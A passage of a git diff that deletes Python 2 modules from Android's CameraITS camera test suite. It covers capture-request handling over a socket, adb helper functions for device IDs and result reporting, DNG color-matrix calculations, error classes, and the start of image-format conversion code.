-        must refer to a physical camera backing this logical camera device.
-
-        Note that one or more surfaces can be specified, allowing a capture to
-        request images back in multiple formats (e.g.) raw+yuv, raw+jpeg,
-        yuv+jpeg, raw+yuv+jpeg. If the size is omitted for a surface, the
-        default is the largest resolution available for the format of that
-        surface. At most one output surface can be specified for a given format,
-        and raw+dng, raw10+dng, and raw+raw10 are not supported as combinations.
-
-        If reprocess_format is not None, for each request, an intermediate
-        buffer of the given reprocess_format will be captured from camera and
-        the intermediate buffer will be reprocessed to the output surfaces. The
-        following settings will be turned off when capturing the intermediate
-        buffer and will be applied when reprocessing the intermediate buffer.
-            1. android.noiseReduction.mode
-            2. android.edge.mode
-            3. android.reprocess.effectiveExposureFactor
-
-        Supported reprocess format are "yuv" and "private". Supported output
-        surface formats when reprocessing is enabled are "yuv" and "jpeg".
-
-        Example of a single capture request:
-
-            {
-                "android.sensor.exposureTime": 100*1000*1000,
-                "android.sensor.sensitivity": 100
-            }
-
-        Example of a list of capture requests:
-
-            [
-                {
-                    "android.sensor.exposureTime": 100*1000*1000,
-                    "android.sensor.sensitivity": 100
-                },
-                {
-                    "android.sensor.exposureTime": 100*1000*1000,
-                    "android.sensor.sensitivity": 200
-                }
-            ]
-
-        Examples of output surface specifications:
-
-            {
-                "width": 640,
-                "height": 480,
-                "format": "yuv"
-            }
-
-            [
-                {
-                    "format": "jpeg"
-                },
-                {
-                    "format": "raw"
-                }
-            ]
-
-        The following variables defined in this class are shortcuts for
-        specifying one or more formats where each output is the full size for
-        that format; they can be used as values for the out_surfaces arguments:
-
-            CAP_RAW
-            CAP_DNG
-            CAP_YUV
-            CAP_JPEG
-            CAP_RAW_YUV
-            CAP_DNG_YUV
-            CAP_RAW_JPEG
-            CAP_DNG_JPEG
-            CAP_YUV_JPEG
-            CAP_RAW_YUV_JPEG
-            CAP_DNG_YUV_JPEG
-
-        If multiple formats are specified, then this function returns multiple
-        capture objects, one for each requested format. If multiple formats and
-        multiple captures (i.e. a burst) are specified, then this function
-        returns multiple lists of capture objects. In both cases, the order of
-        the returned objects matches the order of the requested formats in the
-        out_surfaces parameter. For example:
-
-            yuv_cap            = do_capture( req1                           )
-            yuv_cap            = do_capture( req1,        yuv_fmt           )
-            yuv_cap,  raw_cap  = do_capture( req1,        [yuv_fmt,raw_fmt] )
-            yuv_caps           = do_capture( [req1,req2], yuv_fmt           )
-            yuv_caps, raw_caps = do_capture( [req1,req2], [yuv_fmt,raw_fmt] )
-
-        The "rawStats" format processes the raw image and returns a new image
-        of statistics from the raw image. The format takes additional keys,
-        "gridWidth" and "gridHeight" which are size of grid cells in a 2D grid
-        of the raw image. For each grid cell, the mean and variance of each raw
-        channel is computed, and the do_capture call returns two 4-element float
-        images of dimensions (rawWidth / gridWidth, rawHeight / gridHeight),
-        concatenated back-to-back, where the first iamge contains the 4-channel
-        means and the second contains the 4-channel variances. Note that only
-        pixels in the active array crop region are used; pixels outside this
-        region (for example optical black rows) are cropped out before the
-        gridding and statistics computation is performed.
-
-        For the rawStats format, if the gridWidth is not provided then the raw
-        image width is used as the default, and similarly for gridHeight. With
-        this, the following is an example of a output description that computes
-        the mean and variance across each image row:
-
-            {
-                "gridHeight": 1,
-                "format": "rawStats"
-            }
-
-        Args:
-            cap_request: The Python dict/list specifying the capture(s), which
-                will be converted to JSON and sent to the device.
-            out_surfaces: (Optional) specifications of the output image formats
-                and sizes to use for each capture.
-            reprocess_format: (Optional) The reprocessing format. If not None,
-                reprocessing will be enabled.
-
-        Returns:
-            An object, list of objects, or list of lists of objects, where each
-            object contains the following fields:
-            * data: the image data as a numpy array of bytes.
-            * width: the width of the captured image.
-            * height: the height of the captured image.
-            * format: image the format, in [
-                        "yuv","jpeg","raw","raw10","raw12","rawStats","dng"].
-            * metadata: the capture result object (Python dictionary).
-        """
-        cmd = {}
-        if reprocess_format != None:
-            cmd["cmdName"] = "doReprocessCapture"
-            cmd["reprocessFormat"] = reprocess_format
-        else:
-            cmd["cmdName"] = "doCapture"
-
-        if repeat_request is not None and reprocess_format is not None:
-            raise its.error.Error('repeating request + reprocessing is not supported')
-
-        if repeat_request is None:
-            cmd["repeatRequests"] = []
-        elif not isinstance(repeat_request, list):
-            cmd["repeatRequests"] = [repeat_request]
-        else:
-            cmd["repeatRequests"] = repeat_request
-
-        if not isinstance(cap_request, list):
-            cmd["captureRequests"] = [cap_request]
-        else:
-            cmd["captureRequests"] = cap_request
-        if out_surfaces is not None:
-            if not isinstance(out_surfaces, list):
-                cmd["outputSurfaces"] = [out_surfaces]
-            else:
-                cmd["outputSurfaces"] = out_surfaces
-            formats = [c["format"] if "format" in c else "yuv"
-                       for c in cmd["outputSurfaces"]]
-            formats = [s if s != "jpg" else "jpeg" for s in formats]
-        else:
-            max_yuv_size = its.objects.get_available_output_sizes(
-                    "yuv", self.props)[0]
-            formats = ['yuv']
-            cmd["outputSurfaces"] = [{"format": "yuv",
-                                      "width" : max_yuv_size[0],
-                                      "height": max_yuv_size[1]}]
-
-        ncap = len(cmd["captureRequests"])
-        nsurf = 1 if out_surfaces is None else len(cmd["outputSurfaces"])
-
-        cam_ids = []
-        bufs = {}
-        yuv_bufs = {}
-        for i,s in enumerate(cmd["outputSurfaces"]):
-            if self._hidden_physical_id:
-                s['physicalCamera'] = self._hidden_physical_id
-
-            if 'physicalCamera' in s:
-                cam_id = s['physicalCamera']
-            else:
-                cam_id = self._camera_id
-
-            if cam_id not in cam_ids:
-                cam_ids.append(cam_id)
-                bufs[cam_id] = {"raw":[], "raw10":[], "raw12":[],
-                        "rawStats":[], "dng":[], "jpeg":[], "y8":[]}
-
-        for cam_id in cam_ids:
-            # Only allow yuv output to multiple targets
-            if cam_id == self._camera_id:
-                yuv_surfaces = [s for s in cmd["outputSurfaces"] if s["format"]=="yuv"\
-                                and "physicalCamera" not in s]
-                formats_for_id = [s["format"] for s in cmd["outputSurfaces"] if \
-                                 "physicalCamera" not in s]
-            else:
-                yuv_surfaces = [s for s in cmd["outputSurfaces"] if s["format"]=="yuv"\
-                                and "physicalCamera" in s and s["physicalCamera"] == cam_id]
-                formats_for_id = [s["format"] for s in cmd["outputSurfaces"] if \
-                                 "physicalCamera" in s and s["physicalCamera"] == cam_id]
-
-            n_yuv = len(yuv_surfaces)
-            # Compute the buffer size of YUV targets
-            yuv_maxsize_1d = 0
-            for s in yuv_surfaces:
-                if not ("width" in s and "height" in s):
-                    if self.props is None:
-                        raise its.error.Error('Camera props are unavailable')
-                    yuv_maxsize_2d = its.objects.get_available_output_sizes(
-                        "yuv", self.props)[0]
-                    yuv_maxsize_1d = yuv_maxsize_2d[0] * yuv_maxsize_2d[1] * 3 / 2
-                    break
-            yuv_sizes = [c["width"]*c["height"]*3/2
-                         if "width" in c and "height" in c
-                         else yuv_maxsize_1d
-                         for c in yuv_surfaces]
-            # Currently we don't pass enough metadta from ItsService to distinguish
-            # different yuv stream of same buffer size
-            if len(yuv_sizes) != len(set(yuv_sizes)):
-                raise its.error.Error(
-                        'ITS does not support yuv outputs of same buffer size')
-            if len(formats_for_id) > len(set(formats_for_id)):
-                if n_yuv != len(formats_for_id) - len(set(formats_for_id)) + 1:
-                    raise its.error.Error('Duplicate format requested')
-
-            yuv_bufs[cam_id] = {size:[] for size in yuv_sizes}
-
-        raw_formats = 0;
-        raw_formats += 1 if "dng" in formats else 0
-        raw_formats += 1 if "raw" in formats else 0
-        raw_formats += 1 if "raw10" in formats else 0
-        raw_formats += 1 if "raw12" in formats else 0
-        raw_formats += 1 if "rawStats" in formats else 0
-        if raw_formats > 1:
-            raise its.error.Error('Different raw formats not supported')
-
-        # Detect long exposure time and set timeout accordingly
-        longest_exp_time = 0
-        for req in cmd["captureRequests"]:
-            if "android.sensor.exposureTime" in req and \
-                    req["android.sensor.exposureTime"] > longest_exp_time:
-                longest_exp_time = req["android.sensor.exposureTime"]
-
-        extended_timeout = longest_exp_time / self.SEC_TO_NSEC + \
-                self.SOCK_TIMEOUT
-        if repeat_request:
-            extended_timeout += self.EXTRA_SOCK_TIMEOUT
-        self.sock.settimeout(extended_timeout)
-
-        print "Capturing %d frame%s with %d format%s [%s]" % (
-                  ncap, "s" if ncap>1 else "", nsurf, "s" if nsurf>1 else "",
-                  ",".join(formats))
-        self.sock.send(json.dumps(cmd) + "\n")
-
-        # Wait for ncap*nsurf images and ncap metadata responses.
-        # Assume that captures come out in the same order as requested in
-        # the burst, however individual images of different formats can come
-        # out in any order for that capture.
-        nbufs = 0
-        mds = []
-        physical_mds = []
-        widths = None
-        heights = None
-        while nbufs < ncap*nsurf or len(mds) < ncap:
-            jsonObj,buf = self.__read_response_from_socket()
-            if jsonObj['tag'] in ['jpegImage', 'rawImage', \
-                    'raw10Image', 'raw12Image', 'rawStatsImage', 'dngImage', 'y8Image'] \
-                    and buf is not None:
-                fmt = jsonObj['tag'][:-5]
-                bufs[self._camera_id][fmt].append(buf)
-                nbufs += 1
-            elif jsonObj['tag'] == 'yuvImage':
-                buf_size = numpy.product(buf.shape)
-                yuv_bufs[self._camera_id][buf_size].append(buf)
-                nbufs += 1
-            elif jsonObj['tag'] == 'captureResults':
-                mds.append(jsonObj['objValue']['captureResult'])
-                physical_mds.append(jsonObj['objValue']['physicalResults'])
-                outputs = jsonObj['objValue']['outputs']
-                widths = [out['width'] for out in outputs]
-                heights = [out['height'] for out in outputs]
-            else:
-                tagString = unicodedata.normalize('NFKD', jsonObj['tag']).encode('ascii', 'ignore');
-                for x in ['jpegImage', 'rawImage', \
-                        'raw10Image', 'raw12Image', 'rawStatsImage', 'yuvImage']:
-                    if tagString.startswith(x):
-                        if x == 'yuvImage':
-                            physicalId = jsonObj['tag'][len(x):]
-                            if physicalId in cam_ids:
-                                buf_size = numpy.product(buf.shape)
-                                yuv_bufs[physicalId][buf_size].append(buf)
-                                nbufs += 1
-                        else:
-                            physicalId = jsonObj['tag'][len(x):]
-                            if physicalId in cam_ids:
-                                fmt = x[:-5]
-                                bufs[physicalId][fmt].append(buf)
-                                nbufs += 1
-        rets = []
-        for j,fmt in enumerate(formats):
-            objs = []
-            if "physicalCamera" in cmd["outputSurfaces"][j]:
-                cam_id = cmd["outputSurfaces"][j]["physicalCamera"]
-            else:
-                cam_id = self._camera_id
-
-            for i in range(ncap):
-                obj = {}
-                obj["width"] = widths[j]
-                obj["height"] = heights[j]
-                obj["format"] = fmt
-                if cam_id == self._camera_id:
-                    obj["metadata"] = mds[i]
-                else:
-                    for physical_md in physical_mds[i]:
-                        if cam_id in physical_md:
-                            obj["metadata"] = physical_md[cam_id]
-                            break
-
-                if fmt == "yuv":
-                    buf_size = widths[j] * heights[j] * 3 / 2
-                    obj["data"] = yuv_bufs[cam_id][buf_size][i]
-                else:
-                    obj["data"] = bufs[cam_id][fmt][i]
-                objs.append(obj)
-            rets.append(objs if ncap > 1 else objs[0])
-        self.sock.settimeout(self.SOCK_TIMEOUT)
-        if len(rets) > 1 or (isinstance(rets[0], dict) and
-                             isinstance(cap_request, list)):
-            return rets
-        else:
-            return rets[0]
-
-def do_capture_with_latency(cam, req, sync_latency, fmt=None):
-    """Helper function to take enough frames with do_capture to allow sync latency.
-
-    Args:
-        cam:            camera object
-        req:            request for camera
-        sync_latency:   integer number of frames
-        fmt:            format for the capture
-    Returns:
-        single capture with the unsettled frames discarded
-    """
-    caps = cam.do_capture([req]*(sync_latency+1), fmt)
-    return caps[-1]
-
-
-def get_device_id():
-    """Return the ID of the device that the test is running on.
-
-    Return the device ID provided in the command line if it's connected. If no
-    device ID is provided in the command line and there is only one device
-    connected, return the device ID by parsing the result of "adb devices".
-    Also, if the environment variable ANDROID_SERIAL is set, use it as device
-    id. When both ANDROID_SERIAL and device argument present, device argument
-    takes priority.
-
-    Raise an exception if no device is connected; or the device ID provided in
-    the command line is not connected; or no device ID is provided in the
-    command line or environment variable and there are more than 1 device
-    connected.
-
-    Returns:
-        Device ID string.
-    """
-    device_id = None
-
-    # Check if device id is set in env
-    if "ANDROID_SERIAL" in os.environ:
-        device_id = os.environ["ANDROID_SERIAL"]
-
-    for s in sys.argv[1:]:
-        if s[:7] == "device=" and len(s) > 7:
-            device_id = str(s[7:])
-
-    # Get a list of connected devices
-    devices = []
-    command = "adb devices"
-    proc = subprocess.Popen(command.split(), stdout=subprocess.PIPE)
-    output, error = proc.communicate()
-    for line in output.split(os.linesep):
-        device_info = line.split()
-        if len(device_info) == 2 and device_info[1] == "device":
-            devices.append(device_info[0])
-
-    if len(devices) == 0:
-        raise its.error.Error("No device is connected!")
-    elif device_id is not None and device_id not in devices:
-        raise its.error.Error(device_id + " is not connected!")
-    elif device_id is None and len(devices) >= 2:
-        raise its.error.Error("More than 1 device are connected. " +
-                "Use device=<device_id> to specify a device to test.")
-    elif len(devices) == 1:
-        device_id = devices[0]
-
-    return device_id
-
-def report_result(device_id, camera_id, results):
-    """Send a pass/fail result to the device, via an intent.
-
-    Args:
-        device_id: The ID string of the device to report the results to.
-        camera_id: The ID string of the camera for which to report pass/fail.
-        results: a dictionary contains all ITS scenes as key and result/summary
-                 of current ITS run. See test_report_result unit test for
-                 an example.
-    Returns:
-        Nothing.
-    """
-    ACTIVITY_START_WAIT = 1.5 # seconds
-    adb = "adb -s " + device_id
-
-    # Start ItsTestActivity to receive test results
-    cmd = "%s shell am start %s --activity-brought-to-front" % (adb, ItsSession.ITS_TEST_ACTIVITY)
-    _run(cmd)
-    time.sleep(ACTIVITY_START_WAIT)
-
-    # Validate/process results argument
-    for scene in results:
-        result_key = ItsSession.RESULT_KEY
-        summary_key = ItsSession.SUMMARY_KEY
-        if result_key not in results[scene]:
-            raise its.error.Error('ITS result not found for ' + scene)
-        if results[scene][result_key] not in ItsSession.RESULT_VALUES:
-            raise its.error.Error('Unknown ITS result for %s: %s' % (
-                    scene, results[result_key]))
-        if summary_key in results[scene]:
-            device_summary_path = "/sdcard/its_camera%s_%s.txt" % (
-                    camera_id, scene)
-            _run("%s push %s %s" % (
-                    adb, results[scene][summary_key], device_summary_path))
-            results[scene][summary_key] = device_summary_path
-
-    json_results = json.dumps(results)
-    cmd = "%s shell am broadcast -a %s --es %s %s --es %s %s --es %s \'%s\'" % (
-            adb, ItsSession.ACTION_ITS_RESULT,
-            ItsSession.EXTRA_VERSION, ItsSession.CURRENT_ITS_VERSION,
-            ItsSession.EXTRA_CAMERA_ID, camera_id,
-            ItsSession.EXTRA_RESULTS, json_results)
-    if len(cmd) > 4095:
-        print "ITS command string might be too long! len:", len(cmd)
-    _run(cmd)
-
-def adb_log(device_id, msg):
-    """Send a log message to adb logcat
-
-    Args:
-        device_id: The ID string of the adb device
-        msg: the message string to be send to logcat
-
-    Returns:
-        Nothing.
-    """
-    adb = "adb -s " + device_id
-    cmd = "%s shell log -p i -t \"ItsTestHost\" %s" % (adb, msg)
-    _run(cmd)
-
-def get_device_fingerprint(device_id):
-    """ Return the Build FingerPrint of the device that the test is running on.
-
-    Returns:
-        Device Build Fingerprint string.
-    """
-    device_bfp = None
-
-    # Get a list of connected devices
-
-    com = ('adb -s %s shell getprop | grep ro.build.fingerprint' % device_id)
-    proc = subprocess.Popen(com.split(), stdout=subprocess.PIPE)
-    output, error = proc.communicate()
-    assert error is None
-
-    lst = string.split( \
-            string.replace( \
-            string.replace( \
-            string.replace(output,
-            '\n', ''), '[', ''), ']', ''), \
-            ' ')
-
-    if lst[0].find('ro.build.fingerprint') != -1:
-        device_bfp = lst[1]
-
-    return device_bfp
-
-def parse_camera_ids(ids):
-    """Parse the string of camera IDs into array of CameraIdCombo tuples.
-    """
-    CameraIdCombo = namedtuple('CameraIdCombo', ['id', 'sub_id'])
-    id_combos = []
-    for one_id in ids:
-        one_combo = one_id.split(ItsSession.CAMERA_ID_TOKENIZER)
-        if len(one_combo) == 1:
-            id_combos.append(CameraIdCombo(one_combo[0], None))
-        elif len(one_combo) == 2:
-            id_combos.append(CameraIdCombo(one_combo[0], one_combo[1]))
-        else:
-            assert(False), 'Camera id parameters must be either ID, or ID:SUB_ID'
-    return id_combos
-
-
-def get_build_sdk_version(device_id=None):
-    """Get the build version of the device."""
-    if not device_id:
-        device_id = get_device_id()
-    cmd = 'adb -s %s shell getprop ro.build.version.sdk' % device_id
-    try:
-        build_sdk_version = int(subprocess.check_output(cmd.split()).rstrip())
-        print 'Build SDK version: %d' % build_sdk_version
-    except (subprocess.CalledProcessError, ValueError):
-        print 'No build_sdk_version.'
-        assert 0
-    return build_sdk_version
-
-
-def get_first_api_level(device_id=None):
-    """Get the first API level for device."""
-    if not device_id:
-        device_id = get_device_id()
-    cmd = 'adb -s %s shell getprop ro.product.first_api_level' % device_id
-    try:
-        first_api_level = int(subprocess.check_output(cmd.split()).rstrip())
-        print 'First API level: %d' % first_api_level
-    except (subprocess.CalledProcessError, ValueError):
-        print 'No first_api_level. Setting to build version.'
-        first_api_level = get_build_sdk_version(device_id)
-    return first_api_level
-
-
-def _run(cmd):
-    """Replacement for os.system, with hiding of stdout+stderr messages.
-    """
-    with open(os.devnull, 'wb') as devnull:
-        subprocess.check_call(
-                cmd.split(), stdout=devnull, stderr=subprocess.STDOUT)
-
-
-class __UnitTest(unittest.TestCase):
-    """Run a suite of unit tests on this module.
-    """
-
-    """
-    # TODO: this test currently needs connected device to pass
-    #       Need to remove that dependency before enabling the test
-    def test_report_result(self):
-        device_id = get_device_id()
-        camera_id = "1"
-        result_key = ItsSession.RESULT_KEY
-        results = {"scene0":{result_key:"PASS"},
-                   "scene1":{result_key:"PASS"},
-                   "scene2":{result_key:"PASS"},
-                   "scene3":{result_key:"PASS"},
-                   "sceneNotExist":{result_key:"FAIL"}}
-        report_result(device_id, camera_id, results)
-    """
-
-if __name__ == '__main__':
-    unittest.main()
-
diff --git a/apps/CameraITS/pymodules/its/dng.py b/apps/CameraITS/pymodules/its/dng.py
deleted file mode 100644
index f331d02..0000000
--- a/apps/CameraITS/pymodules/its/dng.py
+++ /dev/null
@@ -1,174 +0,0 @@
-# Copyright 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import numpy
-import numpy.linalg
-import unittest
-
-# Illuminant IDs
-A = 0
-D65 = 1
-
-def compute_cm_fm(illuminant, gains, ccm, cal):
-    """Compute the ColorMatrix (CM) and ForwardMatrix (FM).
-
-    Given a captured shot of a grey chart illuminated by either a D65 or a
-    standard A illuminant, the HAL will produce the WB gains and transform,
-    in the android.colorCorrection.gains and android.colorCorrection.transform
-    tags respectively. These values have both golden module and per-unit
-    calibration baked in.
-
-    This function is used to take the per-unit gains, ccm, and calibration
-    matrix, and compute the values that the DNG ColorMatrix and ForwardMatrix
-    for the specified illuminant should be. These CM and FM values should be
-    the same for all DNG files captured by all units of the same model (e.g.
-    all Nexus 5 units). The calibration matrix should be the same for all DNGs
-    saved by the same unit, but will differ unit-to-unit.
-
-    Args:
-        illuminant: 0 (A) or 1 (D65).
-        gains: White balance gains, as a list of 4 floats.
-        ccm: White balance transform matrix, as a list of 9 floats.
-        cal: Per-unit calibration matrix, as a list of 9 floats.
-
-    Returns:
-        CM: The 3x3 ColorMatrix for the specified illuminant, as a numpy array
-        FM: The 3x3 ForwardMatrix for the specified illuminant, as a numpy array
-    """
-
-    ###########################################################################
-    # Standard matrices.
-
-    # W is the matrix that maps sRGB to XYZ.
-    # See: http://www.brucelindbloom.com/
-    W = numpy.array([
-        [ 0.4124564,  0.3575761,  0.1804375],
-        [ 0.2126729,  0.7151522,  0.0721750],
-        [ 0.0193339,  0.1191920,  0.9503041]])
-
-    # HH is the chromatic adaptation matrix from D65 (since sRGB's ref white is
-    # D65) to D50 (since CIE XYZ's ref white is D50).
-    HH = numpy.array([
-        [ 1.0478112,  0.0228866, -0.0501270],
-        [ 0.0295424,  0.9904844, -0.0170491],
-        [-0.0092345,  0.0150436,  0.7521316]])
-
-    # H is a chromatic adaptation matrix from D65 (because sRGB's reference
-    # white is D65) to the calibration illuminant (which is a standard matrix
-    # depending on the illuminant). For a D65 illuminant, the matrix is the
-    # identity. For the A illuminant, the matrix uses the linear Bradford
-    # adaptation method to map from D65 to A.
-    # See: http://www.brucelindbloom.com/
-    H_D65 = numpy.array([
-        [ 1.0,        0.0,        0.0],
-        [ 0.0,        1.0,        0.0],
-        [ 0.0,        0.0,        1.0]])
-    H_A = numpy.array([
-        [ 1.2164557,  0.1109905, -0.1549325],
-        [ 0.1533326,  0.9152313, -0.0559953],
-        [-0.0239469,  0.0358984,  0.3147529]])
-    H = [H_A, H_D65][illuminant]
-
-    ###########################################################################
-    # Per-model matrices (that should be the same for all units of a particular
-    # phone/camera. These are statics in the HAL camera properties.
-
-    # G is formed by taking the r,g,b gains and putting them into a
-    # diagonal matrix.
-    G = numpy.array([[gains[0],0,0], [0,gains[1],0], [0,0,gains[3]]])
-
-    # S is just the CCM.
-    S = numpy.array([ccm[0:3], ccm[3:6], ccm[6:9]])
-
-    ###########################################################################
-    # Per-unit matrices.
-
-    # The per-unit calibration matrix for the given illuminant.
-    CC = numpy.array([cal[0:3],cal[3:6],cal[6:9]])
-
-    ###########################################################################
-    # Derived matrices. These should match up with DNG-related matrices
-    # provided by the HAL.
-
-    # The color matrix and forward matrix are computed as follows:
-    #   CM = inv(H * W * S * G * CC)
-    #   FM = HH * W * S
-    CM = numpy.linalg.inv(
-            numpy.dot(numpy.dot(numpy.dot(numpy.dot(H, W), S), G), CC))
-    FM = numpy.dot(numpy.dot(HH, W), S)
-
-    # The color matrix is normalized so that it maps the D50 (PCS) white
-    # point to a maximum component value of 1.
-    CM = CM / max(numpy.dot(CM, (0.9642957, 1.0, 0.8251046)))
-
-    return CM, FM
-
-def compute_asn(illuminant, cal, CM):
-    """Compute the AsShotNeutral DNG value.
-
-    This value is the only dynamic DNG value; the ForwardMatrix, ColorMatrix,
-    and CalibrationMatrix values should be the same for every DNG saved by
-    a given unit. The AsShotNeutral depends on the scene white balance
-    estimate.
-
-    This function computes what the DNG AsShotNeutral values should be, for
-    a given ColorMatrix (which is computed from the WB gains and CCM for a
-    shot taken of a grey chart under either A or D65 illuminants) and the
-    per-unit calibration matrix.
-
-    Args:
-        illuminant: 0 (A) or 1 (D65).
-        cal: Per-unit calibration matrix, as a list of 9 floats.
-        CM: The computed 3x3 ColorMatrix for the illuminant, as a numpy array.
-
-    Returns:
-        ASN: The AsShotNeutral value, as a length-3 numpy array.
-    """
-
-    ###########################################################################
-    # Standard matrices.
-
-    # XYZCAL is the  XYZ coordinate of calibration illuminant (so A or D65).
-    # See: Wyszecki & Stiles, "Color Science", second edition.
-    XYZCAL_A = numpy.array([1.098675, 1.0, 0.355916])
-    XYZCAL_D65 = numpy.array([0.950456, 1.0, 1.089058])
-    XYZCAL = [XYZCAL_A, XYZCAL_D65][illuminant]
-
-    ###########################################################################
-    # Per-unit matrices.
-
-    # The per-unit calibration matrix for the given illuminant.
-    CC = numpy.array([cal[0:3],cal[3:6],cal[6:9]])
-
-    ###########################################################################
-    # Derived matrices.
-
-    # The AsShotNeutral value is then the product of this final color matrix
-    # with the XYZ coordinate of calibration illuminant.
-    #   ASN = CC * CM * XYZCAL
-    ASN = numpy.dot(numpy.dot(CC, CM), XYZCAL)
-
-    # Normalize so the max vector element is 1.0.
-    ASN = ASN / max(ASN)
-
-    return ASN
-
-class __UnitTest(unittest.TestCase):
-    """Run a suite of unit tests on this module.
-    """
-    # TODO: Add more unit tests.
-
-if __name__ == '__main__':
-    unittest.main()
-
diff --git a/apps/CameraITS/pymodules/its/error.py b/apps/CameraITS/pymodules/its/error.py
deleted file mode 100644
index 5b0c467..0000000
--- a/apps/CameraITS/pymodules/its/error.py
+++ /dev/null
@@ -1,65 +0,0 @@
-# Copyright 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import subprocess
-import unittest
-
-
-class Error(Exception):
-    pass
-
-
-class SocketError(Error):
-
-    def __init__(self, device_id, message):
-        """Exception raised for socket errors.
-
-        Args:
-            device_id (str): device id
-            message (str): explanation of the error
-        """
-        Error.__init__(self)
-        self.message = message
-        locale = self.get_device_locale(device_id)
-        if locale != "en-US":
-            print "Unsupported default language %s" % locale
-            print "Please set the default language to English (United States)"
-            print "in Settings > Language & input > Languages\n"
-
-    def get_device_locale(self, device_id):
-        """Return the default locale of a given device.
-
-        Args:
-            device_id (str): device id
-
-        Returns:
-             str: Device locale.
-        """
-        locale_property = "persist.sys.locale"
-
-        com = ("adb -s %s shell getprop %s" % (device_id, locale_property))
-        proc = subprocess.Popen(com.split(), stdout=subprocess.PIPE)
-        output, error = proc.communicate()
-        assert error is None
-
-        return output
-
-
-class __UnitTest(unittest.TestCase):
-    """Run a suite of unit tests on this module.
-    """
-
-if __name__ == "__main__":
-    unittest.main()
-
diff --git a/apps/CameraITS/pymodules/its/image.py b/apps/CameraITS/pymodules/its/image.py
deleted file mode 100644
index 1c13c8f..0000000
--- a/apps/CameraITS/pymodules/its/image.py
+++ /dev/null
@@ -1,1003 +0,0 @@
-# Copyright 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import matplotlib
-matplotlib.use('Agg')
-import its.error
-import sys
-from PIL import Image
-import numpy
-import math
-import unittest
-import cStringIO
-import copy
-import random
-
-DEFAULT_YUV_TO_RGB_CCM = numpy.matrix([
-                                [1.000,  0.000,  1.402],
-                                [1.000, -0.344, -0.714],
-                                [1.000,  1.772,  0.000]])
-
-DEFAULT_YUV_OFFSETS = numpy.array([0, 128, 128])
-
-DEFAULT_GAMMA_LUT = numpy.array(
-        [math.floor(65535 * math.pow(i/65535.0, 1/2.2) + 0.5)
-         for i in xrange(65536)])
-
-DEFAULT_INVGAMMA_LUT = numpy.array(
-        [math.floor(65535 * math.pow(i/65535.0, 2.2) + 0.5)
-         for i in xrange(65536)])
-
-MAX_LUT_SIZE = 65536
-
-NUM_TRYS = 2
-NUM_FRAMES = 4
-G_CHANNEL = 1
-LIGHT_ON_THRESHOLD = 0.1
-IMG_L = 0
-IMG_R = 1
-IMG_T = 0
-IMG_B = 1
-
-
-def convert_capture_to_rgb_image(cap,
-                                 ccm_yuv_to_rgb=DEFAULT_YUV_TO_RGB_CCM,
-                                 yuv_off=DEFAULT_YUV_OFFSETS,
-                                 props=None):
-    """Convert a captured image object to a RGB image.
-
-    Args:
-        cap: A capture object as returned by its.device.do_capture.
-        ccm_yuv_to_rgb: (Optional) the 3x3 CCM to convert from YUV to RGB.
-        yuv_off: (Optional) offsets to subtract from each of Y,U,V values.
-        props: (Optional) camera properties object (of static values);
-            required for processing raw images.
-
-    Returns:
-        RGB float-3 image array, with pixel values in [0.0, 1.0].
-    """
-    w = cap["width"]
-    h = cap["height"]
-    if cap["format"] == "raw10":
-        assert(props is not None)
-        cap = unpack_raw10_capture(cap, props)
-    if cap["format"] == "raw12":
-        assert(props is not None)
-        cap = unpack_raw12_capture(cap, props)
-    if cap["format"] == "yuv":
-        y = cap["data"][0:w*h]
-        u = cap["data"][w*h:w*h*5/4]
-        v = cap["data"][w*h*5/4:w*h*6/4]
-        return convert_yuv420_planar_to_rgb_image(y, u, v, w, h)
-    elif cap["format"] == "jpeg":
-        return decompress_jpeg_to_rgb_image(cap["data"])
-    elif cap["format"] == "raw" or cap["format"] == "rawStats":
-        assert(props is not None)
-        r,gr,gb,b = convert_capture_to_planes(cap, props)
-        return convert_raw_to_rgb_image(r,gr,gb,b, props, cap["metadata"])
-    elif cap["format"] == "y8":
-        y = cap["data"][0:w*h]
-        return convert_y8_to_rgb_image(y, w, h)
-    else:
-        raise its.error.Error('Invalid format %s' % (cap["format"]))
-
-
-def unpack_rawstats_capture(cap):
-    """Unpack a rawStats capture to the mean and variance images.
-
-    Args:
-        cap: A capture object as returned by its.device.do_capture.
-
-    Returns:
-        Tuple (mean_image var_image) of float-4 images, with non-normalized
-        pixel values computed from the RAW16 images on the device
-    """
-    assert(cap["format"] == "rawStats")
-    w = cap["width"]
-    h = cap["height"]
-    img = numpy.ndarray(shape=(2*h*w*4,), dtype='<f', buffer=cap["data"])
-    analysis_image = img.reshape(2,h,w,4)
-    mean_image = analysis_image[0,:,:,:].reshape(h,w,4)
-    var_image = analysis_image[1,:,:,:].reshape(h,w,4)
-    return mean_image, var_image
-
-
-def unpack_raw10_capture(cap, props):
-    """Unpack a raw-10 capture to a raw-16 capture.
-
-    Args:
-        cap: A raw-10 capture object.
-        props: Camera properties object.
-
-    Returns:
-        New capture object with raw-16 data.
-    """
-    # Data is packed as 4x10b pixels in 5 bytes, with the first 4 bytes holding
-    # the MSPs of the pixels, and the 5th byte holding 4x2b LSBs.
-    w,h = cap["width"], cap["height"]
-    if w % 4 != 0:
